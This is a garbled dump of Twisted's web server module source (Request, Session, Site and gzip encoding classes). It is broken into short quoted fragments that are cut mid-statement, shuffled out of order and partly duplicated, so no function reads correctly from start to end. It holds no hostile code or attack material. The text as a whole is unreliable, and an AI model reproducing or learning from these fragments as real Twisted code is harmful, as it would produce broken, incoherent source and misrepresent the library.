nativeString from twisted.spread.pb import", "a remote producer.) \"\"\" self.registerProducer(_RemoteProducerWrapper(producer), streaming) def view_unregisterProducer(self, issuer): self.unregisterProducer()", "to the insecure cookie from a secure request you can", "left open. @type NOT_DONE_YET: Opaque; do not depend on any", "will never be true, and the above logic may run", "request. Find the addressed resource in this request's L{Site}, and", "\"\"\" Initialize a session with a unique ID for that", "element where isLeaf is true. \"\"\" request.site = self #", "super().__init__() if reactor is None: reactor = site.reactor self._reactor =", "failed and possibly display a traceback. @param reason: Reason this", "omit it if there # is a Content-Length header set", "Any non-OPTIONS verb gets a 405 Method Not Allowed telling", "childLink(self, name): \"\"\" Return the text that links to a", "contentLength and (contentLength[0] == b\"0\") if ( needsCT and contentType", "self.site.getSession(sessionCookie) except KeyError: pass # if it still hasn't been", "ID of the session. @type uid: L{bytes}. @raise KeyError: If", "= Request displayTracebacks = False sessionFactory = Session sessionCheckTime =", "b\"0\") self.finish() @implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory: \"\"\" @cvar compressLevel: The compression", "be transmitted over HTTP, even if this L{Request} was delivered", "some reason you need access to the insecure cookie from", "channel attached to this site. \"\"\" channel = super().buildProtocol(addr) channel.requestFactory", "return to indicate that the application will later call C{.write}", "empty 200 OK. Any non-OPTIONS verb gets a 405 Method", "\"\"\" Ask a resource to render itself. If the resource", "has already expired. session = None if session is None:", "probe server capabilities or readiness. Rather than bother the user", "failure=reason) if self.site.displayTracebacks: body = ( b\"<html><head><title>web.Server Traceback\" b\" (most", "uid: L{bytes} @ivar _reactor: An object providing L{IReactorTime} to use", "it's still okay. if not self._inFakeHead: if self._encoder: data =", "\"\"\" the method%(plural)s %(allowed)s here.\"\"\" % { \"URI\": escape(nativeString(self.uri)), \"method\":", "[ \"supportedMethods\", \"Request\", \"Session\", \"Site\", \"version\", \"NOT_DONE_YET\", \"GzipEncoderFactory\", ] #", "producer.) \"\"\" self.registerProducer(_RemoteProducerWrapper(producer), streaming) def view_unregisterProducer(self, issuer): self.unregisterProducer() ### these", "streaming) def view_unregisterProducer(self, issuer): self.unregisterProducer() ### these calls remain local", "self.counter + 1 return hexlify(self._entropy(32)) def makeSession(self): \"\"\" Generate a", "class _RemoteProducerWrapper: def __init__(self, remote): self.resumeProducing = remote.remoteMethod(\"resumeProducing\") self.pauseProducing =", "+ util._PRE(reflect.safe_repr(self)) + \"<br />\" + \"Resource: \" + util._PRE(reflect.safe_repr(resrc))", "Traceback\" b\" (most recent call last):</b>\\n\\n\" + util.formatFailure(reason) + b\"\\n\\n</body></html>\\n\"", "of the session. @type uid: L{bytes}. @raise KeyError: If the", "\"\"\" request.site = self # Sitepath is used to determine", "compression level used by the compressor, default to 9 (highest).", "(b\"GET\" in allowedMethods): # We must support HEAD (RFC 2616,", "Return the text that links to a sibling of the", "k, v, **kwargs): \"\"\"Remote version of addCookie; same interface.\"\"\" self.addCookie(k,", "a 405 Method Not Allowed telling the client they can", "when): \"\"\"Remote version of setLastModified; same interface.\"\"\" self.setLastModified(when) def view_setETag(self,", "@implementer(iweb._IRequestEncoderFactory) class GzipEncoderFactory: \"\"\" @cvar compressLevel: The compression level used", "else: body = ( b\"<html><head><title>Processing Failed\" b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\" )", "called with (channel) and creates L{Request} instances. Default to L{Request}.", "A string to write to the response. @type data: L{bytes}", "@ivar _zlibCompressor: The zlib compressor instance used to compress the", "methods may be implemented on a per-resource basis. supportedMethods =", "transmitted over plain-text HTTP. @ivar _secureSession: The L{Session} object representing", "resource to render. @type resrc: L{twisted.web.resource.IResource} @see: L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\" try:", "= requestFactory def _openLogFile(self, path): from twisted.python import logfile return", "Version(\"Twisted\", 12, 1, 0), \"Please use twisted.web.http.stringToDatetime instead\", \"twisted.web.server\", \"string_date_time\",", "_addressToTuple(x[\"client\"]) # Header objects also aren't jellyable. x[\"requestHeaders\"] = list(x[\"requestHeaders\"].getAllRawHeaders())", "it. @see: L{Site.getResourceFor()} \"\"\" # get site from channel self.site", "deprecatedModuleAttribute from twisted.logger import Logger NOT_DONE_YET = 1 __all__ =", "components.Componentized.__init__(self) def getStateToCopyFor(self, issuer): x = self.__dict__.copy() del x[\"transport\"] #", "% { \"URI\": escape(nativeString(self.uri)), \"method\": nativeString(self.method), \"plural\": ((len(allowedMethods) > 1)", "implementations can return to indicate that the application will later", "issuer, tag): \"\"\"Remote version of setETag; same interface.\"\"\" self.setETag(tag) def", "something that a client can send as a low-effort way", "factory will begin at this resource. @type resource: L{IResource} provider", "attached to this site. \"\"\" channel = super().buildProtocol(addr) channel.requestFactory =", "= self # Sitepath is used to determine cookie names", "Optional from urllib.parse import quote as _quote import zlib from", "if so. \"\"\" acceptHeaders = b\",\".join( request.requestHeaders.getRawHeaders(b\"accept-encoding\", []) ) if", "header # (RFC 2616, 10.4.6 and 14.7) self.setHeader(b\"Allow\", b\", \".join(allowedMethods))", "= self.channel.site # set various default headers self.setHeader(b\"server\", version) self.setHeader(b\"date\",", "of registerProducer; same interface. (requires a remote producer.) \"\"\" self.registerProducer(_RemoteProducerWrapper(producer),", "L{float} @ivar lastModified: Time the C{touch()} method was last called", "and self.prepath[-1]: return self.prepath[-1] + b\"/\" + name else: return", "have a previously created session. try: # Refresh the session,", "return self.prepath[-1] + b\"/\" + name else: return name def", "method, generate a C{NOT IMPLEMENTED} or C{NOT ALLOWED} response. @param", "a HEAD response by # faking out the request method.", "@type uid: L{bytes}. @raise KeyError: If the session is not", "self._reactor.seconds() if self._expireCall is not None: self._expireCall.reset(self.sessionTimeout) version = networkString(f\"TwistedWeb/{copyright.version}\")", "that links to a child of the requested resource. @param", "= [] self.postpath = list(map(unquote, self.path[1:].split(b\"/\"))) # Short-circuit for requests", "may run # multiple times. It will only actually change", "directory. \"\"\" request.redirect(request.prePathURL() + b\"/\") request.finish() def getChildWithDefault(self, pathEl, request):", "the insecure cookie from a secure request you can set", "it # because we compress on the fly. self._request.responseHeaders.removeHeader(b\"content-length\") return", "with this, we simply fast-path it back to an empty", "originating request. @since: 12.3 \"\"\" _zlibCompressor = None def __init__(self,", "last modification the session will expire, in seconds. @type sessionTimeout:", "= self._encoder.encode(data) http.Request.write(self, data) def finish(self): \"\"\" Override C{http.Request.finish} for", "write to the response. @type data: L{bytes} \"\"\" if not", "times. It will only actually change the responseHeaders # once", "% ( self.isSecure() and \"s\" or \"\", nativeString(self.getRequestHostname()), hostport, )", "a secure request you can set C{forceNotSecure = True}. @param", "[self.defaultContentType] ) # Only let the write happen if we're", "an empty 200 OK. Any non-OPTIONS verb gets a 405", "view_registerProducer(self, issuer, producer, streaming): \"\"\"Remote version of registerProducer; same interface.", "if encoding: encoding = b\",\".join(encoding + [b\"gzip\"]) else: encoding =", "b\"HEAD\" self.write(b\"\") self.finish() return if self.method in (supportedMethods): # We", "= ( b\"<html><head><title>Processing Failed\" b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\",", "default to 9 (highest). @since: 12.3 \"\"\" _gzipCheckRegex = re.compile(br\"(:?^|[\\s,])gzip(:?$|[\\s,])\")", "900 _expireCall = None def __init__(self, site, uid, reactor=None): \"\"\"", "and \"s\" or \"\", nativeString(self.getRequestHostname()), hostport, ) ) path =", "Reason this request has failed. @type reason: L{twisted.python.failure.Failure} @return: The", "\"\"\" A web site: manage log, sessions, and resources. @ivar", "will begin at this resource. @type resource: L{IResource} provider @param", "\"\"\" super().__init__(*args, **kwargs) self.sessions = {} self.resource = resource if", "\"Request did not return bytes\", \"Request: \" + util._PRE(reflect.safe_repr(self)) +", "secure request you can set C{forceNotSecure = True}. @param forceNotSecure:", "d def _mkuid(self): \"\"\" (internal) Generate an opaque, unique ID", "L{twisted.python.failure.Failure} \"\"\" self._log.failure(\"\", failure=reason) if self.site.displayTracebacks: body = ( b\"<html><head><title>web.Server", "self.write(data) def view_finish(self, issuer): \"\"\"Remote version of finish; same interface.\"\"\"", "b\"GET\" self._inFakeHead = True body = resrc.render(self) if body is", "the resource hierarchy. All request traversal for requests received by", "complete the request, and that the HTTP connection should be", "try: resrc = self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc): encoder = resrc.getEncoder(self) if", "default requestFactory. @type requestFactory: C{callable} or C{class}. @see: L{twisted.web.http.HTTPFactory.__init__} \"\"\"", "method. @rtype: L{twisted.python.failure.Failure} \"\"\" self._log.failure(\"\", failure=reason) if self.site.displayTracebacks: body =", "up with L{Request.getSession}, this will return that object. (This will", "as e: allowedMethods = e.allowedMethods if (self.method == b\"HEAD\") and", "def buildProtocol(self, addr): \"\"\" Generate a channel attached to this", "with L{Request.getSession}, this will return that object. (This will always", "request.redirect(request.prePathURL() + b\"/\") request.finish() def getChildWithDefault(self, pathEl, request): \"\"\" Emulate", "security of the request; so if C{forceNotSecure} is used on", "reason you need access to the insecure cookie from a", "def __init__(self, compressLevel, request): self._zlibCompressor = zlib.compressobj( compressLevel, zlib.DEFLATED, 16", "to L{Request}. @ivar displayTracebacks: If set, unhandled exceptions raised during", "to 0, as empty bodies don't need # a content-type.", "@ivar uid: A unique identifier for the session. @type uid:", "non-OPTIONS verb gets a 405 Method Not Allowed telling the", "cookiename = b\"_\".join([cookieString] + self.sitepath) sessionCookie = self.getCookie(cookiename) if sessionCookie:", "is not None and not contentLengthZero ): self.responseHeaders.setRawHeaders( b\"content-type\", [self.defaultContentType]", "of the request; so if C{forceNotSecure} is used on a", "content length. else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self._inFakeHead = False", "= self.getCookie(cookiename) if sessionCookie: try: session = self.site.getSession(sessionCookie) except KeyError:", "0) x[\"content_data\"] = self.content.read() x[\"remote\"] = ViewPoint(issuer, self) # Address", "The L{Session} object representing the state that will be transmitted", "a web server which integrates with the twisted.internet infrastructure. @var", "calling getChildWithDefault on each resource it finds for a path", "interface. \"\"\" self.setResponseCode(code, message) def view_registerProducer(self, issuer, producer, streaming): \"\"\"Remote", "@param name: The sibling resource @type name: C{bytes} @return: A", "this request with an indication that processing failed and possibly", "request with an indication that processing failed and possibly display", "create it. By default, the cookie with be secure for", "+ \"Resource: \" + util._PRE(reflect.safe_repr(resrc)) + \"<br />\" + \"Value:", "self._request.responseHeaders.removeHeader(b\"content-length\") return self._zlibCompressor.compress(data) def finish(self): \"\"\" Finish handling the request", "( b\"<html><head><title>Processing Failed\" b\"</title></head><body>\" b\"<b>Processing Failed</b></body></html>\" ) self.setResponseCode(http.INTERNAL_SERVER_ERROR) self.setHeader(b\"content-type\", b\"text/html\")", "unused. See L{Session.sessionTimeout} instead. \"\"\" counter = 0 requestFactory =", "@param resource: The root of the resource hierarchy. All request", "expiration tracking. @return: L{None} \"\"\" self._expireCall = self._reactor.callLater(self.sessionTimeout, self.expire) def", "won't include the content length. else: self.setHeader(b\"content-length\", b\"%d\" % (len(body),))", "twisted.web.http import unquote from twisted.python import reflect, failure, components from", "of setResponseCode; same interface. \"\"\" self.setResponseCode(code, message) def view_registerProducer(self, issuer,", "render itself. If the resource does not support the requested", "self.isSecure() and \"s\" or \"\", nativeString(self.getRequestHostname()), hostport, ) ) path", "when HTTP channel got length of content in this request.", "with I{site} is used. \"\"\" super().__init__() if reactor is None:", "URL for later recalling. \"\"\" url = self._prePathURL(self.prepath[:-1]) self.appRootURL =", "the client they can only use OPTIONS. \"\"\" if self.method", "request request, flushing any data from the zlib buffer. \"\"\"", "import List, Optional from urllib.parse import quote as _quote import", "\"\"\" Mark the session as modified, which resets expiration timer.", "@var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render} implementations can return", "that matches the security of the request; so if C{forceNotSecure}", "C{bytes} @return: A relative URL. @rtype: C{bytes} \"\"\" lpp =", "self.path[1:].split(b\"/\"))) # Short-circuit for requests whose path is '*'. if", "is true. \"\"\" request.site = self # Sitepath is used", "\"Huh?\", \"I don't know how to treat a %s request.\"", "scheduling expiration. @ivar sessionTimeout: Time after last modification the session", "HTML. Default to C{False}. @ivar sessionFactory: factory for sessions objects.", "= False _encoder = None _log = Logger() def __init__(self,", "default: hostport = \"\" else: hostport = \":%d\" % port", "client accepts gzip encoding, and encodes the request if so.", "def __init__(self, *args, **kw): http.Request.__init__(self, *args, **kw) components.Componentized.__init__(self) def getStateToCopyFor(self,", "k, v): \"\"\"Remote version of setHeader; same interface.\"\"\" self.setHeader(k, v)", "set, unhandled exceptions raised during rendering are returned to the", "( \"\"\"Your browser approached me (at %(URI)s) with\"\"\" \"\"\" the", "true, and the above logic may run # multiple times.", "L{bytes} giving the default I{Content-Type} value to send in responses", "\"s\" or \"\", nativeString(self.getRequestHostname()), hostport, ) ) path = b\"/\".join([quote(segment,", "I'll eat it.\", slf=self, resrc=resrc, ) self.setHeader(b\"content-length\", b\"%d\" % (len(body),))", "and not contentLengthZero ): self.responseHeaders.setRawHeaders( b\"content-type\", [self.defaultContentType] ) # Only", "of sessions that have been generated. @type counter: L{int} @ivar", "but is used to represent a session. @ivar site: The", "{slf} for resource {resrc} is\" \" returning a message body.", "requestFactory is not None: self.requestFactory = requestFactory def _openLogFile(self, path):", "self.getHost().port if self.isSecure(): default = 443 else: default = 80", "twisted.spread.pb import Copyable, ViewPoint from twisted.internet import address, interfaces from", "it by giving the resource # a 'GET' request and", "that will be transmitted over plain-text HTTP. @ivar _secureSession: The", "interface.\"\"\" self.setLastModified(when) def view_setETag(self, issuer, tag): \"\"\"Remote version of setETag;", "channel.site = self return channel isLeaf = 0 def render(self,", "write; same interface.\"\"\" self.write(data) def view_finish(self, issuer): \"\"\"Remote version of", "= http.stringToDatetime # Support for other methods may be implemented", "change the responseHeaders # once though, so it's still okay.", "only actually change the responseHeaders # once though, so it's", "1: return ((lpp - 1) * b\"../\") + name elif", "setHeader; same interface.\"\"\" self.setHeader(k, v) def view_setLastModified(self, issuer, when): \"\"\"Remote", "view_setLastModified(self, issuer, when): \"\"\"Remote version of setLastModified; same interface.\"\"\" self.setLastModified(when)", "return self._insecureSession def getSession(self, sessionInterface=None, forceNotSecure=False): \"\"\" Check if there", "way to probe server capabilities or readiness. Rather than bother", "that have been generated. @type counter: L{int} @ivar sessionCheckTime: Deprecated", "failed. @type reason: L{twisted.python.failure.Failure} @return: The reason passed to this", "token value which L{twisted.web.resource.IResource.render} implementations can return to indicate that", "5.1.1). If the # resource doesn't, fake it by giving", "/>\" + \"Value: \" + util._PRE(reflect.safe_repr(body)), ).render(self) if self.method ==", "See L{Session.sessionTimeout} instead. \"\"\" counter = 0 requestFactory = Request", "= getattr(self, sessionAttribute) if session is not None: # We", "hostport = \"\" else: hostport = \":%d\" % port prefix", "it's from protocol # del x['server'] del x[\"channel\"] del x[\"content\"]", "class _GzipEncoder: \"\"\" An encoder which supports gzip. @ivar _zlibCompressor:", "expiration of the session. If C{None}, the reactor associated with", "unique ID for a user's session. \"\"\" self.counter = self.counter", "resource it finds for a path element, stopping when it", "def startCheckingExpiration(self): \"\"\" Start expiration tracking. @return: L{None} \"\"\" self._expireCall", "method was last called (or time the session was created).", "@param reason: Reason this request has failed. @type reason: L{twisted.python.failure.Failure}", "request. This method is not intended for users. @param length:", "networkString, nativeString from twisted.spread.pb import Copyable, ViewPoint from twisted.internet import", "alive. session.touch() except (AlreadyCalled, AlreadyCancelled): # Session has already expired.", "\"\"\" Get a previously generated session. @param uid: Unique ID", "http.NO_CONTENT) contentType = self.responseHeaders.getRawHeaders(b\"content-type\") contentLength = self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero = contentLength", "requestFactory: C{callable} or C{class}. @see: L{twisted.web.http.HTTPFactory.__init__} \"\"\" super().__init__(*args, **kwargs) self.sessions", "[] self.touch() self.sessionNamespaces = {} def startCheckingExpiration(self): \"\"\" Start expiration", "\" + util._PRE(reflect.safe_repr(self)) + \"<br />\" + \"Resource: \" +", "name def gotLength(self, length): \"\"\" Called when HTTP channel got", "b\" (most recent call last)</title></head>\" b\"<body><b>web.Server Traceback\" b\" (most recent", "= self.isSecure() and not forceNotSecure if not secure: cookieString =", "Twisted Matrix Laboratories. # See LICENSE for details. \"\"\" This", "future reference. \"\"\" uid = self._mkuid() session = self.sessions[uid] =", "import networkString, nativeString from twisted.spread.pb import Copyable, ViewPoint from twisted.internet", "# Content-Type header should be supplied. We omit it on", "\"Request: \" + util._PRE(reflect.safe_repr(self)) + \"<br />\" + \"Resource: \"", "returning a message body. I think I'll eat it.\", slf=self,", "if self.site.displayTracebacks: body = ( b\"<html><head><title>web.Server Traceback\" b\" (most recent", "= self.__dict__.copy() d[\"sessions\"] = {} return d def _mkuid(self): \"\"\"", "\"\"\" (internal) Generate an opaque, unique ID for a user's", "self.resumeProducing = remote.remoteMethod(\"resumeProducing\") self.pauseProducing = remote.remoteMethod(\"pauseProducing\") self.stopProducing = remote.remoteMethod(\"stopProducing\") class", "requestFactory: A factory which is called with (channel) and creates", "@param resrc: The resource to render. @type resrc: L{twisted.web.resource.IResource} @see:", "self.write(b\"\") self.finish() return if self.method in (supportedMethods): # We MUST", "has failed. @type reason: L{twisted.python.failure.Failure} @return: The reason passed to", "the session expires or logs out. \"\"\" self.expireCallbacks.append(callback) def expire(self):", "self._log.info( \"Tried to fake a HEAD request for {resrc}, but", "L{None} \"\"\" self._expireCall = self._reactor.callLater(self.sessionTimeout, self.expire) def notifyOnExpire(self, callback): \"\"\"", "we retrieve a session that will be transmitted over HTTP,", "@param reactor: L{IReactorTime} used to schedule expiration of the session.", "or logs out. \"\"\" self.expireCallbacks.append(callback) def expire(self): \"\"\" Expire/logout of", "hasn't been set, fix it up. if not session: session", "+ self.sitepath) sessionCookie = self.getCookie(cookiename) if sessionCookie: try: session =", "method is not intended for users. @param length: The length", "else: return tuple(addr) @implementer(iweb.IRequest) class Request(Copyable, http.Request, components.Componentized): \"\"\" An", "remote.remoteMethod(\"resumeProducing\") self.pauseProducing = remote.remoteMethod(\"pauseProducing\") self.stopProducing = remote.remoteMethod(\"stopProducing\") class Session(components.Componentized): \"\"\"", "Optional[List[bytes]] = None postpath: Optional[List[bytes]] = None __pychecker__ = \"unusednames=issuer\"", "return name else: # lpp == 0 if len(self.prepath) and", "(most recent call last)</title></head>\" b\"<body><b>web.Server Traceback\" b\" (most recent call", "the content-length header, we can't honor it # because we", "that will be transmitted over HTTP, even if this L{Request}", "os.path.dirname(path)) def __getstate__(self): d = self.__dict__.copy() d[\"sessions\"] = {} return", "Check if there is a session cookie, and if not,", "def __init__(self, remote): self.resumeProducing = remote.remoteMethod(\"resumeProducing\") self.pauseProducing = remote.remoteMethod(\"pauseProducing\") self.stopProducing", "counter = 0 requestFactory = Request displayTracebacks = False sessionFactory", "because we compress on the fly. self._request.responseHeaders.removeHeader(b\"content-length\") return self._zlibCompressor.compress(data) def", "jellyable x[\"host\"] = _addressToTuple(x[\"host\"]) x[\"client\"] = _addressToTuple(x[\"client\"]) # Header objects", "1) * b\"../\") + name elif lpp == 1: return", "from twisted import copyright from twisted.web import resource from twisted.web.error", "instead\", \"twisted.web.server\", \"date_time_string\", ) deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please", "None def touch(self): \"\"\" Mark the session as modified, which", "I{Content-Type} value to send in responses if no other value", "# backwards compatibility deprecatedModuleAttribute( Version(\"Twisted\", 12, 1, 0), \"Please use", "don't need # a content-type. needsCT = self.code not in", "= http.datetimeToString string_date_time = http.stringToDatetime # Support for other methods", "object representing the state that will be transmitted only over", "= {} self.resource = resource if requestFactory is not None:", "defaultContentType = b\"text/html\" site = None appRootURL = None prepath:", "\"I don't know how to treat a %s request.\" %", "_GzipEncoder: \"\"\" An encoder which supports gzip. @ivar _zlibCompressor: The", "twisted.python import logfile return logfile.LogFile(os.path.basename(path), os.path.dirname(path)) def __getstate__(self): d =", "on the fly. self._request.responseHeaders.removeHeader(b\"content-length\") return self._zlibCompressor.compress(data) def finish(self): \"\"\" Finish", "we won't include the content length. else: self.setHeader(b\"content-length\", b\"%d\" %", "return bytes\", \"Request: \" + util._PRE(reflect.safe_repr(self)) + \"<br />\" +", "b\"%d\" % (len(body),)) self.write(body) self.finish() return reason def view_write(self, issuer,", "b\"*\": self._handleStar() return try: resrc = self.site.getResourceFor(self) if resource._IEncodingResource.providedBy(resrc): encoder", "we compress on the fly. self._request.responseHeaders.removeHeader(b\"content-length\") return self._zlibCompressor.compress(data) def finish(self):", "already expired. session = None if session is None: #", "response. @param resrc: The resource to render. @type resrc: L{twisted.web.resource.IResource}", "import urlpath return urlpath.URLPath.fromRequest(self) def rememberRootURL(self): \"\"\" Remember the currently-processed", "+ zlib.MAX_WBITS ) self._request = request def encode(self, data): \"\"\"", "that session.) @return: the session attribute @rtype: L{Session} or L{None}", "@ivar _secureSession: The L{Session} object representing the state that will", "return session.getComponent(sessionInterface) return session def _prePathURL(self, prepath): port = self.getHost().port", "request): \"\"\" Emulate a resource's getChild method. \"\"\" request.site =", "None: self._expireCall.reset(self.sessionTimeout) version = networkString(f\"TwistedWeb/{copyright.version}\") @implementer(interfaces.IProtocolNegotiationFactory) class Site(http.HTTPFactory): \"\"\" A", "self.expireCallbacks = [] if self._expireCall and self._expireCall.active(): self._expireCall.cancel() # Break", "generated session. @param uid: Unique ID of the session. @type", "self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish() def processingFailed(self, reason): \"\"\"", "MUST set content-length 0 when responding to this # with", "# Break reference cycle. self._expireCall = None def touch(self): \"\"\"", "and disconnected sites. request.sitepath = copy.copy(request.prepath) return resource.getChildForRequest(self.resource, request) #", "is '*'. RFC 7231 defines an OPTIONS * request as", "= b\"TWISTED_SESSION\" sessionAttribute = \"_insecureSession\" else: cookieString = b\"TWISTED_SECURE_SESSION\" sessionAttribute", "= b\"HEAD\" self.write(b\"\") self.finish() return if self.method in (supportedMethods): #", "not None: # We have a previously created session. try:", "x[\"host\"] = _addressToTuple(x[\"host\"]) x[\"client\"] = _addressToTuple(x[\"client\"]) # Header objects also", "log, sessions, and resources. @ivar requestFactory: A factory which is", "Write to the request, automatically compressing data on the fly.", "here.\"\"\" % { \"URI\": escape(nativeString(self.uri)), \"method\": nativeString(self.method), \"plural\": ((len(allowedMethods) >", "self.isSecure() and not forceNotSecure if not secure: cookieString = b\"TWISTED_SESSION\"", "L{dict} mapping L{bytes} to L{Session} given the default C{sessionFactory} @ivar", "the addressed resource in this request's L{Site}, and call L{self.render()<Request.render()>}", "self._insecureSession def getSession(self, sessionInterface=None, forceNotSecure=False): \"\"\" Check if there is", "# del x['server'] del x[\"channel\"] del x[\"content\"] del x[\"site\"] self.content.seek(0,", "@ivar _insecureSession: The L{Session} object representing state that will be", "\".join(allowedMethods)) s = ( \"\"\"Your browser approached me (at %(URI)s)", "Remember the currently-processed part of the URL for later recalling.", "resrc.render(self) except UnsupportedMethod as e: allowedMethods = e.allowedMethods if (self.method", "session. @type uid: L{bytes} @ivar _reactor: An object providing L{IReactorTime}", "import unquote from twisted.python import reflect, failure, components from twisted", "okay. if not self._inFakeHead: if self._encoder: data = self._encoder.encode(data) http.Request.write(self,", "each resource it finds for a path element, stopping when", "response by # faking out the request method. Note, if", "reference. \"\"\" uid = self._mkuid() session = self.sessions[uid] = self.sessionFactory(self,", "as returned by L{IReactorTime.seconds()}. @type lastModified: L{float} \"\"\" sessionTimeout =", "b\"<html><head><title>web.Server Traceback\" b\" (most recent call last)</title></head>\" b\"<body><b>web.Server Traceback\" b\"", "self) # Address objects aren't jellyable x[\"host\"] = _addressToTuple(x[\"host\"]) x[\"client\"]", "producer, streaming): \"\"\"Remote version of registerProducer; same interface. (requires a", "NOT_DONE_YET: return if not isinstance(body, bytes): body = resource.ErrorPage( http.INTERNAL_SERVER_ERROR,", "= copy.copy(request.prepath) return resource.getChildForRequest(self.resource, request) # IProtocolNegotiationFactory def acceptableProtocols(self): \"\"\"", "L{bytes} \"\"\" if not self.startedWriting: # Before doing the first", "child of the requested resource. @param name: The child resource", "though, so it's still okay. if not self._inFakeHead: if self._encoder:", "twisted.web import iweb, http, util from twisted.web.http import unquote from", "self.setHeader(b\"content-type\", b\"text/html\") self.setHeader(b\"content-length\", b\"%d\" % (len(body),)) self.write(body) self.finish() return reason", "attribute @rtype: L{Session} or L{None} \"\"\" if self.isSecure(): return self._secureSession", "%s request.\" % (escape(self.method.decode(\"charmap\")),), ) body = epage.render(self) # end", "@param requestFactory: Overwrite for default requestFactory. @type requestFactory: C{callable} or", "= True}. @param forceNotSecure: Should we retrieve a session that", "**kwargs).encode(\"charmap\") def _addressToTuple(addr): if isinstance(addr, address.IPv4Address): return (\"INET\", addr.host, addr.port)", "L{Request}. @ivar displayTracebacks: If set, unhandled exceptions raised during rendering", "http, util from twisted.web.http import unquote from twisted.python import reflect,", "returned by L{IReactorTime.seconds()}. @type lastModified: L{float} \"\"\" sessionTimeout = 900", "if self.method == b\"OPTIONS\": self.setResponseCode(http.OK) else: self.setResponseCode(http.NOT_ALLOWED) self.setHeader(b\"Allow\", b\"OPTIONS\") #", "x[\"transport\"] # XXX refactor this attribute out; it's from protocol", "self.sitepath) sessionCookie = self.getCookie(cookiename) if sessionCookie: try: session = self.site.getSession(sessionCookie)", "405 Method Not Allowed telling the client they can only", "\"_insecureSession\" else: cookieString = b\"TWISTED_SECURE_SESSION\" sessionAttribute = \"_secureSession\" session =", "(\"INET\", addr.host, addr.port) elif isinstance(addr, address.UNIXAddress): return (\"UNIX\", addr.name) else:", "to the response. @type data: L{bytes} \"\"\" if not self.startedWriting:", "request. @since: 12.3 \"\"\" _zlibCompressor = None def __init__(self, compressLevel,", "resrc.render(self) if body is NOT_DONE_YET: self._log.info( \"Tried to fake a", "method%(plural)s %(allowed)s here.\"\"\" % { \"URI\": escape(nativeString(self.uri)), \"method\": nativeString(self.method), \"plural\":", "set to 0, as empty bodies don't need # a", "typing import List, Optional from urllib.parse import quote as _quote", "to objects returned by C{sessionFactory}. @type sessions: L{dict} mapping L{bytes}", "this method. @rtype: L{twisted.python.failure.Failure} \"\"\" self._log.failure(\"\", failure=reason) if self.site.displayTracebacks: body", "If the session is not found. \"\"\" return self.sessions[uid] def", "L{IResource.render()<twisted.web.resource.IResource.render()>} \"\"\" try: body = resrc.render(self) except UnsupportedMethod as e:", "= \"_secureSession\" session = getattr(self, sessionAttribute) if session is not", "= None def __init__(self, site, uid, reactor=None): \"\"\" Initialize a", "version of setResponseCode; same interface. \"\"\" self.setResponseCode(code, message) def view_registerProducer(self,", "request def encode(self, data): \"\"\" Write to the request, automatically", "if reactor is None: reactor = site.reactor self._reactor = reactor", "when the session expires or logs out. \"\"\" self.expireCallbacks.append(callback) def", "getSession(self, sessionInterface=None, forceNotSecure=False): \"\"\" Check if there is a session", "run # multiple times. It will only actually change the", "\"\"\" Get a previously-remembered URL. @return: An absolute URL. @rtype:", "contentLength = self.responseHeaders.getRawHeaders(b\"content-length\") contentLengthZero = contentLength and (contentLength[0] == b\"0\")", "= 1 __all__ = [ \"supportedMethods\", \"Request\", \"Session\", \"Site\", \"version\",", "URL. @return: An absolute URL. @rtype: L{bytes} \"\"\" return self.appRootURL", "uid: L{bytes}. @raise KeyError: If the session is not found.", "resource does not support the requested method, generate a C{NOT", "is used. \"\"\" super().__init__() if reactor is None: reactor =", "the URL for later recalling. \"\"\" url = self._prePathURL(self.prepath[:-1]) self.appRootURL", "(internal) Generate an opaque, unique ID for a user's session.", "and then return only the headers, # not the body.", "web site: manage log, sessions, and resources. @ivar requestFactory: A", "previously-remembered URL. @return: An absolute URL. @rtype: L{bytes} \"\"\" return", "Copyable, ViewPoint from twisted.internet import address, interfaces from twisted.internet.error import", "else: return name def gotLength(self, length): \"\"\" Called when HTTP", "We also omit it if there # is a Content-Length", "prepath: Optional[List[bytes]] = None postpath: Optional[List[bytes]] = None __pychecker__ =", "not the body. self._log.info( \"Using GET to fake a HEAD", "possibly display a traceback. @param reason: Reason this request has", "@implementer(iweb._IRequestEncoder) class _GzipEncoder: \"\"\" An encoder which supports gzip. @ivar", "L{Session.sessionTimeout} instead. \"\"\" counter = 0 requestFactory = Request displayTracebacks", "session that matches the security of the request; so if", "@rtype: C{bytes} \"\"\" lpp = len(self.postpath) if lpp > 1:", "for this request. cookiename = b\"_\".join([cookieString] + self.sitepath) sessionCookie =", "= None if session is None: # No session was", "def session(self): \"\"\" If a session has already been created", "self._reactor = reactor self.site = site self.uid = uid self.expireCallbacks", "telling the client they can only use OPTIONS. \"\"\" if", "uid: A unique identifier for the session. @type uid: L{bytes}", "resources. @ivar requestFactory: A factory which is called with (channel)", "names between distributed # servers and disconnected sites. request.sitepath =", "data to the transport (if not responding to a HEAD", "not return bytes\", \"Request: \" + util._PRE(reflect.safe_repr(self)) + \"<br />\"", "timestamp as returned by L{IReactorTime.seconds()}. @type lastModified: L{float} \"\"\" sessionTimeout", "request. @ivar defaultContentType: A L{bytes} giving the default I{Content-Type} value", "value to send in responses if no other value is", "other methods may be implemented on a per-resource basis. supportedMethods", "\"\"\" del self.site.sessions[self.uid] for c in self.expireCallbacks: c() self.expireCallbacks =", "\"Value: \" + util._PRE(reflect.safe_repr(body)), ).render(self) if self.method == b\"HEAD\": if", "session as modified, which resets expiration timer. \"\"\" self.lastModified =", "else: # lpp == 0 if len(self.prepath) and self.prepath[-1]: return", "L{twisted.web.resource.IResource.render} implementations can return to indicate that the application will", "not contentLengthZero ): self.responseHeaders.setRawHeaders( b\"content-type\", [self.defaultContentType] ) # Only let", "default C{sessionFactory} @ivar counter: The number of sessions that have", "self.resource = resource if requestFactory is not None: self.requestFactory =", "encoder which supports gzip. @ivar _zlibCompressor: The zlib compressor instance", "be left open. @type 